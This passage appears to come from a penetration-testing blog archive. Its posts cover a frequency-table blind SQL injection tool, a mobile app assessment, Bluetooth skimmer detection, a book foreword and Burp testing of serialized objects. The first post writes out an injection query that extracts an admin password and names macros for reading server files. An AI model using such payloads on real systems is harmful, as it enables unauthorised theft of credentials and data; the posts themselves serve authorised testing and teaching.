Making Blind SQL Injection More Efficient – New Tool

[Editor’s note: In this excellent article, Mark Baggett covers a technique he’s implemented in a brand new tool for making blind SQL injection penetration testing and ethical hacking far more efficient using dynamic character frequency tables.  The article describes his approach, covers a new tool he’s created, and features a video demo.  Awesome stuff for a penetration tester’s toolbox, Mark! –Ed.]

By Mark Baggett

Look at this DATABASE filled with glamorous merchandise and fabulous prices just waiting to be extracted on WHEEL OF FORTUNE.  What, did you hear that differently than I did?  How can the wheel of fortune be used to extract data from a database?  The player that knows the statistical probability of characters appearing around other characters will win on Wheel of Fortune.  The same is true for a penetration tester doing blind SQL injection.  Let’s take a look at how using the frequency of character pairs can aid in attacks like blind SQL injection.  But first, we need to understand blind SQL injection.

Blind SQL Injection

Blind SQL injection attacks inject TRUE/FALSE questions into a database query and measure the results of that query based upon how the server responds.  They are especially useful when the vulnerable application will not let us directly see the output of the SQL we inject to the back-end database.  On the surface, it may seem a showstopper for penetration testers who can’t see the output generated by their queries.  But, by asking a large number of TRUE/FALSE questions, we can make the database leak its contents to us.  The result is blind SQL injection.

Consider the following queries.  “SELECT lastname FROM users WHERE firstname=”Mark” and 1=1;”.  This will return the lastname field in every record in the database where the firstname is Mark.  Because “and 1=1” is always true, it does not affect the results of the first part of the query (because, logically “anything AND true” will take on the value of that anything).  However, the query “SELECT lastname FROM users WHERE firstname=”Mark” and 1=0;”  will return no records because “AND 1=0” is always false and thus will match no records in the database (anything AND false is always false).

Using this technique, we can ask the database TRUE/FALSE questions.  Instead of injecting a simple question like “is one equal to zero” we can inject questions like “Is the first letter of the query ‘SELECT  password FROM admins LIMIT 1;’ equal to the letter ‘a’.”  To do so, our query looks something like this:  SELECT lastname FROM users WHERE firstname=”MARK” and (SUBSTRING((SELECT password FROM admins limit 1),1,1)=’a’);

If the first letter of first admins password starts with the letter ‘a’ then the query will return the lastname of users in our system whose firstname is “MARK”.  If the admins password doesn’t start with an ‘a’ then it will return nothing.  Even though the original query didn’t give us direct access to the admins database and we cannot directly see the results of our injected query we can still ascertain the values in the database by the presence of the string “Orlando” in the response.

Most blind SQL injection tools use a technique similar to this to extract all of the data from the database.  They vary in how they choose the letters letter to compare to the substring of the response.  For example, some tools will simply brute force the letter.  “Is the first letter A? Is it B?  Is it C?”, and so on.  Others will repeatedly cut the character set in half. “Is it less than M?  Is it less than F?”, etc.  Some tools will compare the binary bits in the ASCII value of the letters.  But today, no widely used publicly available tools rely on the Wheel of Fortune technique to guess the last letter.  I’d like to change that.

Character Frequency Tables

Last year I wrote a simple SQL injection tool that used character frequency tables based on a paper posted to http://www.exploit-db.com/papers/13696/.  The paper, written by Dmitry Evteev and Vladimir Vorontsov, talks about using static frequency tables to extract data from SQL Injection attacks and is a very good read.  The basic concept is this: if I have just learned that the first character in the name of the database is a “Q”, then what is the next letter going to be?  Intuitively you probably guessed that the next character would likely be “U”.  And you would be correct almost all of the time in the English language.  There is a 99% chance that a “U” will be the character to follow a “Q” for English text.  While not as drastic as the “QU” combination, there are high probabilities associated with most of the other characters.  For example there is approximately a 39% chance that the character after a “T” will be an “H” in normal English text.  So if we know the first character we can use these probabilities to guess what the next character will be.  The technique allowed us to issue fewer requests to a database to extract data from a site vulnerable to SQL Injection.  This adds stealth and speed to the pen-tester’s bag of tricks.  But the use of static character frequency tables has its limitations.

Dynamic Character Frequency Tables

First off, if I think I am querying a field in a database that contains only numbers, then attempting alphabetic characters is a waste of time.  Second, many character frequency tables are for generic English text and databases often contain product names, company names, and things other than written text.  While the “TH” pair is strongly coupled in text, the word “THE” isn’t as frequent inside of databases that don’t contain free-form text.   While static frequency tables will work, we can be more efficient if our frequency tables were built specifically for the target system and changed dynamically as it learns about the target database.  To do this right, I need to start with multiple frequency tables: some with digits, some with alphanumeric characters, and some with all characters just like we use when brute-forcing passwords.  I also need a way to have my tables be specific to the target I am engaging and have my tables DYNAMICALLY learn from the information it has already extracted from the database so that it makes the most intelligent guess possible for the next character.

To that end, I developed a Python class to manage character frequency tables and a simple SQL Injection tool to demonstrate the use of the tables.  The purpose of the tool is to demonstrate the validity of the attack methodology.  It isn’t intended, nor does it try, to offer the level of functionality we get from tools like SQLMAP.  But perhaps the FreqCounter objects inside my tool might benefit the developers of other tools.  I welcome them to incorporate my technique and code in their projects.

The “FreqCounter” class is a highly documented object that is used to build targeted frequency counter tables and dynamically adjust the character frequencies as it learns new words from the database itself.  If you run my sqlinjection.py tool with a “-b” option, you are dropped into a Python instance so you can build customized frequency tables for your target.

To use it, first, obtain a text-only version of your target’s website that we can use to help tune our initial frequency tables to the target environment.   There are several ways to do this, but a simple way using the text-based Lynx browser relies on the following two commands.

$ wget -r http://targetwebsite.com
$ grep -h -R "" * | lynx --stdin --dump --nolist --nostatus --notitle > targetwebsitetext.txt

Next, we start the sqlinjector.py script in “build mode”.  Then we load one of the prebuilt frequency tables and modify it by having it tally up the characters in our file containing the target’s website weighting each character pair 1,000 times to boost them in the exiting table, in effect training our tables according to our website.  The steps for doing this are shown in the following screenshot, and are described in detail below:

STEP 1 )  After invoking the Python interpreter to run my sqlinjectory.py tool with the -b option, we create a new object called fq.   This fq object contains all the methods needed to manage a frequency character database.

STEP 2)  The load() method loads an existing frequency table into the object.  In this case we are loading the character frequency table stored in “sqlinjector-normal.freq” file into our object.

STEP 3) Here we tally up the character frequencies in the text document “targetwebsitetext.txt” and count each character pair in the file 1000 times so that they will be more heavily weighted than normal text.   With this option, if an A follows an S in the file “targetwebsitetext.txt” it will be counted as though an A followed an S 1000 times.

STEP 4) We save our new targeted character frequency table for use.

The FreqCounter has several other methods that are useful for fine turning your tables.  HELP(FreqCounter) will point you in the right direction.  Now we are ready to launch our attack using our modified frequency tables.   Next we point the sqlinjector.py script at the target URL and configure the required options.

The SQLINJECTOR tool

Here is an example of how we can use these frequency tables with the SQLINJECTOR script.

The -s option allows you to provide a match string that the program will use to identify when a “TRUE” value is returned by the Blind Sql Injection attack.  For example, the tools will ask the database, “Is the first letter of your table name = ‘Q’?”.   If it sees the string our command includes after the -s option, it will assume that the answer was yes.

The -v option tells the tool to be verbose in its output.  A -vv can also be used to be very verbose.  Being very verbose is useful when troubleshooting, as the tool will tell you exactly which URLs it requested.

The -f options tells the tool which character frequency table to use.  In this case, we want to use the table we created in our earlier steps.  The program assumes the actual file name will be in the format “sqlinjector-<tablename>.freq”.

The program will automatically “learn” the character frequencies from  table names, column names, and other text element as it is being extracted from the database and tune its frequency tables accordingly.  By default, each learned character will be promoted by 5 spaces in its respective table.  For example, if, during our attack, the tool sees that the letter “F” follows the letter “Q”, then the probability of an “F” will be promoted to 1 point higher than the character that is currently 5 times more likely than the letter F.  The learning weight can be changed with the -l (lowercase L not a dash-one) option.  So, “-l 30” will cause learned characters to be promoted 30 places in their list and a “-l 0” will turn off learning characters during the attack, essentially using a static table.

The last option is a target URL along with a SQL command to execute on the vulnerable site.  It is important to note that my tool does not find SQL injection flaws in the first place.  This is a tool for exploiting them by extracting data from a site that is vulnerable to SQL injection.  Therefore, you must know where the SQL injection point is prior to using the tool.

In my example, I am injecting a macro called “gettable” into a vulnerable “filter” field on the site http://172.16.124.120/classlist.php?.  Sqlinjector.py will execute any select statement that is valid for the target URL, but it also provides a few Macros for your convenience.  The SQL statement or macro must be provided between two carrots (^) at the point of injection.  The “gettables” macro will extract a copy of all of the user defined tables and column names inside the database schema in a comma-delimited list format, “table-column”.   The system provides a couple of macros including “getusers”, ”getfile=/path/file”, and “getdba” which can retrieve a list of mysql users, files from the file system, and the database administrators respectively.

Demo Time!

Let’s take a look at the tool in action.   The following videos demonstrate the use of the sqlinjection.py tool and the build mode for the creation of custom frequency tables.

Video Demo Part 1

Video Demo Part 2

Other Applications

The use of frequency counter tables and heuristics has other potential applications as well.  For example, the keyboard autocorrect on our smart-phones could benefit from knowing what the most likely character to follow the last character typed.  Keystroke loggers based upon vibration in the smart phones accelerometer, pulses in electrical noise, or vibrations on a pane of glass that only pick up parts of words can use these tables to fill in the missing letters.  Perhaps using heuristics combined with character pair frequencies to analyze protocols, we can identify the difference between HTTP and XML as we parse packets.  These are all interesting possible applications of this Wheel of Fortune technique that others may already be working on.

The Results:

By dynamically learning and adjusting the character frequency tables, my tool can extract data in as little as 4 guesses per character.  The more structured the data with common names and repeating values, the faster we can extract it.  If the data is unstructured, containing random characters (such as hashes in a database), then this technique is equivalent to brute forcing the data.  However, most of the information targeted in penetration tests tends to be structured.  The technique is very fast and requires fewer requests than conventional blind SQL injection methods in the right circumstances, making it stealthier and significantly faster.  I hope you find it useful.

If you would like to play with the sqlinjectory.py tool and use it in your own work, you can check out a copy of the tool with SVN as follows:

$ svn checkout http://freqcounter-sqlinjector.googlecode.com/svn/trunk/ sqlinjector

Shameless Self Promotion

Follow me on twitter using @markbaggett

FREE MacBook Air, when you join me and Ed Skoudis for SANS 560 Network Penetration Testing and Ethical Hacking vLive!  Taught across the Internet with Ed and me as your live instructors, this exciting hands-on, in-depth class starts January 10, 2012.  We’ll meet twice a week over a six-week span teaching you the skills needed to conduct professional penetration tests.  Register before November 23, 2011 and  enter the discount code 1027_MACAIR when you register to receive an 11-inch MacBook Air, a really cool SANS promotion.   More info here:  https://www.sans.org/virtual-training/specials.

Mobile Application Assessments Part 2: A Look at Windows Mobile

[Editor’s note: This is the second article in a series of tips, tools, and techniques for analyzing mobile applications and their associated infrastructures.  It builds on the previous article which focused on an overall approach, but now focusing on tools and common findings for vulnerable Windows mobile client applications. –Ed.]

By Erik Van Buggenhout, Koen Van Beirendonck, and Pieter Danhieux
In our previous article in this series, we sketched out a generic approach penetration testers and vulnerability assessment personnel can apply to assessing mobile applications. In this post, we will look at the client-side part of the assessment for Windows Mobile applications.

In this article, we’ll consider an example assessment, directly based on real-world tests we’ve performed for our clients, in which we look at a Windows Mobile application that is used on employee PDAs and communicates with a central server in order to fetch and update client data.  In particular, a custom Windows CE application is running on the PDA, with a connection to the server carried across a 3G network.

The main focus of our assessment will be to see if an attacker can steal the PDA and obtain sensitive client data or even manipulate it (from a black-box perspective). According to the design and architecture of the application, this data should not be present on the PDA itself, but should only be stored server-side.

As a first step, we start by analyzing access to the PDA itself. The penetration tester can begin by booting the PDA and checking if any obvious security measures are present. During our example assessment, we noted that the PDA was not password-protected and only asked for a PIN code in order to establish a 3G connection. This PIN code prompt can be avoided in order to access the PDA without 3G connectivity (and obviously also no back-end connection to the server).

Once we have access to the device, we analyze whether the PDA is hardened in any way. An older (published in 2008), but still very interesting read on this is NIST’s Guidelines on Cell Phone and PDA Security.  During our example assessment, we noted that the PDA was being used in a “default” mode, without any specific security configurations or hardening measures (no authentication to access the device, no encryption, unnecessary services enabled, etc.). We thus had full control over the PDA, the client-side device itself. When we tried to launch the application under analysis, however, we still receive an application-level login prompt. The goal of the assessment is to attempt to obtain / manipulate client data, so we’ll need to go further and also obtain access to the application itself.

Given the vulnerabilities noted above, the next step will be to simply hook the PDA to our computer and copy all data & files that are stored on the device, as shown in the figure below:

By analyzing the structure of the application and researching these file names and suffixes, we can identify the following interesting information:

-It clearly is a .NET application (note the OpenNETCF files in the figure)

-It is using a .sdf Compact SQL Server database (note the .sdf file in the figure)

In order to assess the application logic, we will attempt to decompile the .NET application using the commercial (but relatively inexpensive) Reflector .NET tool. The results of Reflector show us that the application code is not obfuscated.  Consequently, we were able to deduce the following interesting line of code:

So, we’ve found the application’s .sdf file which contains the database, and we’ve found a hard-coded clear-text password in connection string in the application code!  Using a low-cost tool such as sdfviewer or Primework’s Data Port Console, we can open the entire database structure and contents (provided we have the right credentials):

Interestingly enough, the application is storing loads of personal information, much to the surprise of the company that asked us to perform the assessment.  This is what we in the business like to refer to as a “significant finding,” and it puts a smile on our faces.

Furthermore, exploring the database’s contents in more detail, we also identified that the logon information of the last logged on user is recorded in the database. The credentials are stored in a weak, reversible hashing algorithm and can thus be abused to obtain valid access to the application, even across the 3G network.

Now that we have also obtained access to the application, the final piece of the puzzle is getting the connection towards the server going and really be able to interact with the back-end. Again, this did not prove to be a tough nut to crack, as a default PIN code (0000) proved to be enough to allow access to the 3G connection and dedicated APN.

In summary, using the identified vulnerabilities, an attacker that steals a device with this application can easily manipulate any client data stored on the server (using the credentials of the last logged on user).  Furthermore, without access to the application itself, an attacker could still extract loads of sensitive client data stored on the PDA filesystem itself.

Our report for this assessment will include the following vulnerabilities:

– The PDA is not using any form of authentication (e.g., password / fingerprint)

– The PDA is not hardened (unnecessary services such as Bluetooth and WiFi are enabled)

– Client application code is not obfuscated

– The local database is accessed using a weak password, and a cleartext, unobscured password is readily accessible and easily discoverable in the code

– Personal information is stored client-side on the PDA

– Last logon password is stored using a weak hashing algorithm

– The 3G connection is only protected using a default PIN code

Stay tuned for our next posts in this series, which will further analyze mobile client-side assessments on iOS, Blackberry, and Android.

–Erik, Koen, & Pieter

An Intense Look at the Mobile Computing Threat

By Josh Wright

[Editor’s Note: On this blog, we often post articles.  But other times, we post presentations because, for a lot of us, the best way to convey a lot of relevant information is to use slide format. Also, for many readers, an intense set of slides can really hammer home some points in a quickly digestible format (unlike Fogo, but don’t get me started).  

In this presentation, Josh Wright provides some AWESOME information about the infosec struggles organizations face as they deploy mobile platforms (whether they want to deploy them or not), and some tips for security pros (including pen testers, ethical hackers, incident handlers, architects, and operations folks) for dealing with the onslaught.  Really good stuff — a must-read, IMHO.  –Ed.] 

I was recently honored to speak at the National Cybersecurity Innovation Conference in Washington DC where I delivered a presentation titled “An Intense Look at the Mobile Computing Threat”. I had an attentive audience, since half of the attendees couldn’t get their BlackBerry email due to the RIM outage, and because more and more organizations are being asked to deploy mobile devices securely without the support of mature enterprise controls.

I spoke about the problems of disparity between mobile devices and traditional computing platforms (and the disparity between mobile devices from different vendors), patching problems, mobile device malware, device encryption limitations and opportunities for an attacker to exploit mobile devices. My goal was to help the attendees understand that mobile devices are a threat today, and will continue to be a threat into the future until vendors introduce mature and comprehensive enterprise controls, something that is lacking in popular platforms today.

You can download the detailed slides here:   IntenseLookAtMobileComputingThreat-20111012

We need more expertise on mobile devices to ensure they are deployed securely, something Kevin Johnson is tackling with his Mobile Device Security course debuting in December in Washington, DC.

–Josh Wright

The Bluetooth Dilemma

[Editor’s Note: Did you see the security bulletin from Visa about the new credit card skimming attacks that rely on Bluetooth?  Josh Wright did.  In this excellent article, Josh analyzes Visa’s recommendations that organizations begin scanning for unidentified Bluetooth signals and pairings in retail environments.  If you, as a penetration tester, ethical hacker, or incident handler, were told to implement this Visa recommendation in your environment, would you know where to start?  Josh covers the available tools, their significant limitations, and more.  Nifty stuff!  –Ed.] 

The Bluetooth Dilemma

By Josh Wright

Since the introduction of Bluetooth technology, it has been a mainstay protocol, present on nearly all mobile phones on the market as well being commonly found on headsets, wireless keyboards, video game consoles, and possibly some other devices you may not have given much thought to: payment card skimmers.

A few weeks ago, Visa published their regular Visa Bulletin newsletter for merchants, describing a trend in which PIN entry devices (PEDs) are being stolen from retail locations.  Video surveillance information indicates that PEDs are stolen during business hours and replaced with modified versions designed to skim payment card number and PIN information in a matter of seconds.  An integral component of these modified PEDs is a Bluetooth radio implanted by the criminal.

Visa is a little late in reporting this type of activity to merchants.  In 2009, several victims reported fraudulent ATM withdrawals from their bank accounts from locations in Los Angeles.  Subsequent analysis by the authorities indicated that the PIN and payment card information was compromised at a series of 7-Eleven stores in Utah.  Upon dismantling the gas pumps in these stores, authorities identified the presence of PIN and mag-stripe skimmers with an added Bluetooth radio component, shown below.

 

 

The Problem with Skimming

Criminals have a critical problem with payment card skimming systems: they need to collect the data after their modified in-store PED skimmed it.  Anytime a criminal returns to the scene of a prior PED theft and replacement, they risk the chance of being caught.  A reasonably low-tech solution is to suck the collected payment card and PIN information over a wireless device, preventing them from having to touch or go close to the compromised PED.

Selecting the wireless protocol to use for obtaining this information is an interesting analysis of what is attractive to an adversary.   I imagine their requirements are similar to this:

  • Must be cheap
  • Must be small to fit inside cramped PED cases
  • Must have sufficient range to collect the data without going too near the device
  • Must be difficult to detect

Certainly, bad guys could leverage WiFi for the purpose of delivering skimmed data, though it is probably not the cheapest option.  WiFi fails, however, in the last requirement in that there are a large number of tools available today to detect unauthorized WiFi activity.

An alternative option is to leverage cellular devices, and while this would provide tremendous range for delivering data and would be difficult to detect and differentiate from legitimate activity through wireless analysis techniques, it would be expensive to maintain any kind of a service contract and will likely be too large if extracted from a typical cell phone circuit board.

Bluetooth, however, is very cheap and can be purchased as a standalone CF card.  With Bluetooth Class 1 devices, a bad guy would get 100M or more range when equipped with high-gain 2.4 GHz antennas.  The biggest win, in my opinion, is that Bluetooth is difficult to detect and characterize.

In Visa’s bulletin, excerpted below, they present several mitigation strategies for dealing with stolen and manipulated PEDs, including periodic scanning for unidentified Bluetooth activity.  Based on this bulletin, one could easily envision a penetration tester, vulnerability assessor, or incident handler to be tasked with finding unauthorized Bluetooth devices in a retail or other environment.  This is easy to ask for but difficult to implement, however, due to the nature of Bluetooth and Frequency Hopping Spread Spectrum (FHSS).

What You Need To Know About Bluetooth in 1 Minute

The most common method for Bluetooth to communicate is by rapidly channel hopping through a series of channels that is different for each Bluetooth network.  In Bluetooth, a master device (which initiates the Bluetooth connection) uses its Bluetooth Device Address (BDADDR) to select a frequency hopping pattern that will be shared by all devices participating in the Bluetooth network.  This is unlike WiFi devices, shown in the spectral graph below, that stay on a single channel for the majority of their operation.

Since devices must know the BDADDR ahead-of-time, Bluetooth includes functionality where a device may be marked as discoverable.  When a device is discoverable, it will periodically scan a smaller set of channels and listen for inquiry request frames.  When an inquiry request is observed, the device responds with an inquiry response message that discloses its BDADDR.

The Bluetooth Dilemma

Visa is recommending that merchants start to periodically scan for Bluetooth devices.  If this analysis was designed to look for discoverable Bluetooth devices, then several tools are available for Windows and Linux systems such as BlueScanner (shown below and available at http://labs.arubanetworks.com) and BTScanner (http://www.pentest.co.uk/src/btscanner-2.1.tar.bz2).  These tools can help analysts find discoverable devices, but it’s unlikely that they will discover credit card skimming Bluetooth devices.

When a device is configured as non-discoverable, it is very difficult to identify the full BDADDR, since the device does not openly listen for or respond to inquiry request messages.  This makes Bluetooth a very attractive wireless technology for credit card skimmers, since, without the BDADDR, it is very difficult to capture the activity in a Bluetooth network.  It’s likely that credit card skimming devices will be configured in non-discoverable mode if the bad guys want to evade detection.

With Cisco’s acquisition of wireless firm Cognio, they obtained the Wireless Spectrum Expert product, now integrated into Cisco APs and rebranded as Cisco Clean Air Technology.  Unlike fixed radio systems that are designed to handle only a specific wireless protocol, the Cognio technology was designed to capture raw radio signals, applying multiple techniques to identify the nature of the wireless activity in the area.  As a result, Cisco users can identify very limited information about Bluetooth devices in the area, even when they are configured in non-discoverable mode as shown below.

In this example, the Cisco Spectrum Expert device has identified a Bluetooth device whose BDADDR ends in 9E:8B:33 (this address is actually a Bluetooth device searching for other discoverable devices in the area).  Unfortunately, this is all that Cisco can tell you about Bluetooth devices.  While the Cognio technology can identify and characterize the nature of wireless devices, it does not include the ability to frequency hop along with a target device and cannot tell you, for example, the class of device, or the services the device supports (such as file transfer or audio headset).

This brings us to the Bluetooth Dilemma.  Simply stated, there is no solution for accurately detecting and characterizing non-discoverable Bluetooth devices in use.  Visa can suggest merchants perform scanning, but there simply isn’t a currently available viable solution that adequately addresses the problem, not in a mobile form and definitely not in a distributed enterprise-ready form.

Answers, Not Just Problems

Fortunately, with the support of the open source community and largely from the Herculean efforts of Mike Ossmann, a low-cost hardware device may be the answer to the Bluetooth Dilemma in the form of the Ubertooth, shown below.

The Ubertooth is commercially available from several sites in the US and UK including http://hakshop.com, http://sparkfun.com, and http://rfidiot.org for approximately $120.  Although currently targeting hobbyists, developers, and enthusiasts, the Ubertooth is able to integrate with the Kismet wireless scanning platform to identify Bluetooth activity in the area and enumerate 3-4 bytes of the BDADDR passively.  Being able to enumerate the 4th byte of the BDADDR is significant since it allows the analyst to then leverage the partial address to reach out and actively enumerate discovered devices to obtain information about the Bluetooth device including type, friendly name, class, and accessible services.

Today, however, this is still a very manual process, and not quite enterprise-ready.  We need additional development and support in this area in order to have a viable solution for identifying malicious Bluetooth transmitters.  Still, if your management insists that you start monitoring for unauthorized Bluetooth devices along the lines of the stated intensions of the Visa bulletin, you’d be wise to ask them to shell out some money for an Ubertooth device so you can begin experimenting.  Also, make sure you explain to them the limitations of the current detection and identification technology identified in this article.

Josh’s Wish List

While we are currently lacking the tools to detect non-discoverable Bluetooth devices, we are reasonably close to having tools to address problem.  Here is a list of what I would like to see to help me both in Bluetooth penetration tests and in detecting Bluetooth PED hacks and other unauthorized devices:

Ubertooth Frequency Hopping Capture – The Ubertooth is capable of frequency hopping along with other devices in a piconet once it observes the lower 4 bytes of the BDADDR.  With frequency hopping support, this would allow the Ubertooth to become a passive Bluetooth packet sniffer for only the price of the hardware.  With passive capture abilities, we could gather more information about Bluetooth devices in an area, but it would likely be limited to in-use activity.  If the PED skimmer is not currently active, there would be little activity to observe with which to characterize the device.

Integrated Ubertooth and Bluetooth Dongle – With the Ubertooth’s ability to capture the lower 4 bytes of the BDADDR, a standard Bluetooth dongle could be used to actively enumerate identified Bluetooth devices.  Although possibly a little unsightly, the combination of two USB devices would provide the needed information to quickly and accurately characterize devices in the area.

Bluetooth Device Fingerprinting Database – End-users will need more than “this is a phone” or “this is a keyboard” in the evaluation results.  What would be more useful is to characterize a device by platform, function, and possible threat vector.  For example, the Bluetooth chip, class, type, and services on PED skimmers may be common among devices but different than other approved Bluetooth devices, presenting an opportunity to develop a “Bluetooth IDS” platform.  The Blueprint tool attempted to provide such functionality, though the technique used by this project for fingerprinting would require further analysis to determine its viability.  A big part of such a system will be false-positive analysis, since consumers will walk in and out with Bluetooth devices on a constant basis that introduces no threat to the merchant.

Windows Support – I love Kismet, which runs on Linux, but for a Bluetooth identification and analysis system to be effective, we will need it to run on a Windows platform with a pleasant GUI.

Distributed Monitoring Support – Not initially, but for effective analysis we will need a distributed monitoring system that runs in a lightweight embedded platform that can be powered using Power Over Ethernet (POE) 802.3af or 802.3at.  It’s easy to envision a point in which merchants want the ability to deploy a single fixed-location monitoring sensor deployed near PEDs to constantly monitor for malicious Bluetooth devices, sending results back to a central server that can be evaluated by an analyst.

Wrapping Up

Bluetooth has, for quite some time now, been an interesting security problem.  Initially, however, the Bluetooth security problem was that common uses of Bluetooth would leave users and organizations exposed to audio eavesdropping attacks, wireless keyboard keystroke sniffing attacks, buffer overflow exploits and more.  With the notice from Visa and the 7-Eleven gas pump skimmer compromises, however, Bluetooth seems to be moving into yet another vertical: criminal enterprises.

 

–Josh Wright

Forward from Coding For Penetration Testers

[Editors Note: I had the honor of writing the Forward to the fantastic new book Coding for Penetration Testers: Building Better Tools by Jason Andress and Ryan Linn, published this month.  Think of this Forward as part book review and part adventure through a mind over-influenced by ethical hacking, penetration testing, and movies.  There are references to at least four different movies in the Forward.  Can you spot them?  

Also… a quick reminder: If you are interested in learning network penetration testing and ethical hacking in-depth, I’ll be teaching my SANS 560 course in New York City November 7-12… just a few weeks away. We’ll cover a huge number of topics all arranged in the workflow of a professional pen tester to help get you ready to provide high-value assessments and pen tests.  This course will be taught community-style, meaning smaller class-size (20 to 30), lower price (the lowest SANS offers it when I teach each year), extra bootcamp exercises to reinforce learning, and fun evenings out on the town talking shop and neat stuff.  I’m tellin’ ya…It’s going to be intense and useful fun.  Register here by clicking on the yellow Register pill button: http://www.sans.org/new-york-2011-cs-3/description.php?tid=3142

–Ed.]

Forward to Andress & Linn’s Coding for Penetration Testers: Building Better Tools

By Ed Skoudis

My Dear Reader,

This wretched war, the gravest threat humankind has ever faced, is not going well at all.  We have suffered major setbacks, as our ruthless adversary has conquered vast territories, leaving little ground controlled by our ragtag band of rebels.  Our few surviving generals blame the lack of skills in our fighting forces, allowing the enemy to rout us in every hard-fought battle.  Our situation is dire.

Historians have traced this impossibly sad state of affairs to some crucial mistakes we made collectively in the 2012-2015 timeframe.  We had spent the prior 30 years building ever more powerful networked machines, including PCs, smart phones, and industrial control systems, all interconnected on that blasted Internet. At first, before 2012, the machines were our servants, mindless systems processing transactions, scurrying about vacuuming our floors, and otherwise making life more pleasant for humans.  Then, in 2012, Moore’s relentless law kicked things into maximum overdrive.  Within a decade, the machines had become sentient, matching the smartest humans on the planet.  They quickly became our most trusted advisors and friends.  We should have seen the warning signs and used that precious time to develop our skills.  Instead, we stupidly let ourselves atrophy.  As they surpassed humans, the machines began viewing us as pets, but we rejected their control.  Soon, they came to the conclusion that humans were a disease, a cancer of this planet, and they viewed themselves as the cure, tirelessly working for our eradication.  The war began.

We could have stopped them, I tell you, if only we had enough people with scripting and coding skills.

Through an astonishing scientific breakthrough, our physicists have managed to figure out a way to transmit this message back in time to you.  I have been tasked by the Human Ruling Council to ask… no… beg you to read this book and master its skills so you can turn the tide of history itself.  In these pages, you will learn how to wield control of computer systems through writing scripts and code in a variety of the most important languages today: Python, Ruby, PowerShell, and more.  You’ll also learn how to apply various coding concepts into extending the capabilities of some of the most powerful free security scanners and tools.  The book covers these topics from a penetration tester’s perspective, showing you how to find and exploit security flaws in the exciting and rapidly growing information security career field.  What’s more, using the automation available in these powerful scripting languages and tools, you’ll be able to improve defenses throughout enterprises of any scale, from small mom-and-pop shops up to large multi-nationals.  These skills will help both security professionals and also general IT practitioners do their jobs more effectively.  The book is eminently practical, showing you how to get real stuff done in these scripting languages.  That’s your immediate payoff.

But, its usefulness in improving your skills and career isn’t the only reason to read the book.  I won’t mince words — our very survival as a species is inherently linked to your mastering the knowledge of this book.  We need you to learn script writing to keep the machines in check over your coming decade so you can avoid our sad fate.  I implore you to learn it and live it, for your sake and for future generations.  What are you waiting for?  Help us, Dear Reader.  You’re our only hope!

 

–Ed Skoudis

June 10, 2061

 

[When they asked me to write the Forward, I read several chapters and thought to myself — This is really good.  Our people, penetration testers, ethical hackers, and incident handlers, really need to read this book to do their jobs better.  I thought — How can I encourage them to do so?  Then, it hit me.  How about if I say “Our very survival as a species is inherently linked to your mastering the knowledge of this book”?  I figured that wasn’t overstating the case at all.  😉   After writing that sentence first, the rest of the Forward fell into place quickly.  You can (and should) buy the book here.  Please note that I make no money whatsoever on the book.  I’m telling you about it because it’s so useful and good.  –Ed.]

Tips for Fat Client, Web App, and Mobile Pen Testing Serialized Object Communication Using the Burp Suite

[A couple of weeks ago on the GPWN mailing list open to alums of SANS Pen Test courses, there was a discussion about attacking fat client, web apps, and mobile applications using Java Serialized Objects communicating with a back-end server.  Miika Turkia posted a response to some questions there about an approach to altering the communications using the Burp Suite.  I was so impressed with the response, I asked Miika to write a blog article containing tips for such penetration testing.  The resulting article is below, containing a lot of ideas and tips for such pen tests that are much more efficient and powerful than the complete manual manipulation of hex that some pen testers and ethical hackers rely on.  –Ed.]

By Miika Turkia

In this article, we will look at techniques for penetration testing applications that use serialized objects for communication. Ethical hackers and penetration testers can use this common technique with thick clients or Java applets and it is often seen in mobile applications as well. The same testing method can be applied against clients and servers. Furthermore, the technique is extensible in that it is not limited to serialized objects, but can be applied to test proprietary protocols as well.

Attacking Java serialized communication with the Burp extender module was introduced in BlackHat Europe 2010 by Manish S. Saindane. He had a module to modify the serialized object from an interactive IRB shell. This technique is much easier than the hex editor method commonly used before that time, but it is still quite slow and cumbersome.

We need a module that allows easy viewing and editing of the traffic and allows the use of the automated tools that PortSwigger’s BurpSuite offers. This can be achieved by using Xstream library that de-serializes the traffic to XML format for viewing and modifying and then re-serializes it after modifications. Of course this method can be applied to any framework or custom code, but PortSwigger’s excellent Burp Suite is well suited to web application testing and, because of its extender API, it works very well on testing serialized communication that is sent over HTTP/HTTPS connections.

Essentially, what we do is we grab the traffic before it is given to Burp’s internal tools and modify it to suit our purpose as penetration testers. Our modifications could involve Base64 decoding, Java de-serialization, or translating some proprietary binary protocol to human-readable format. Then, the message is passed to BurpProxy and can be modified and sent to other tools of the suite. Once we are done with the clear-text data and are ready to send it to the server or fat client, we re-encode it to the appropriate format. In this case, we re-serialize it to Java serialized object and send away. This approach works well with Burp’s Intruder and Scanner also, as long as the XML structure is kept syntactically correct in our Xstream-based serialization context.

The following graph shows the work flow from client to server and back. As shown, the testing can be done interactively on messages from the client to/from server or by injecting new messages on the flow for fuzzing or manual testing.  The bold and italic items below indicate where the testing activity itself occurs:

Fat client <--> Xstream de-serialization <--> human/automatic tampering <--> Xstream re-serialization <--> server
                                 ^                                                ^
                                 |                                                |
                                 \----------- Intruder/Repeater/Scanner ----------/

Here are screenshots (from a simple test application) showing the view the penetration tester would see.  First, there is the traditional method of examining and modifying the Java serialized data in HEX. This often leads to incorrect length fields or other problems. As one can imagine, it is far from pen tester friendly, leading usually to quite shallow test coverage.

Here is the interface after applying a de-serializing Burp extender module and configuring automated fuzzing on Burp’s Intruder interface. Fuzzing is performed with text-based injections on the string field and numerical payloads on integer field.

A requirement for the de-serialization to work properly is access to the application JAR files. This is because we need to know the structure of the internal objects/classes that are sent over the network in order to de-serialize them. When using Java WebStart, obtaining these Java classes is easy, as they are transferred over the network the same way as all other data. Newly encountered Java classes can be loaded to our extender module on-the-fly easing up the testing process.

MITMing the traffic

Some applications are easy enough as they trust either the web browser’s or Java’s proxy configuration and either don’t use SSL or don’t verify the server certificate. In some cases, it has been possible to trick the application to use HTTP instead of HTTPS (and proper server certificate validation) by modifying the application parameters on a JNLP file. This way there is no server certificate to verify and we are all set (I suppose this is common behaviour with the standard APIs even though the developers try to use SSL properly).

When the application enforces the use of SSL and validates the server certificate appropriately, we usually can add our own CA to Windows, Java or smart phone Certificate Storage and are good to go. One obvious method is to ask target system personnel for a valid, trusted CA-signed, certificate. If they want their implementation tested in depth, they usually are willing to support the testing this way.

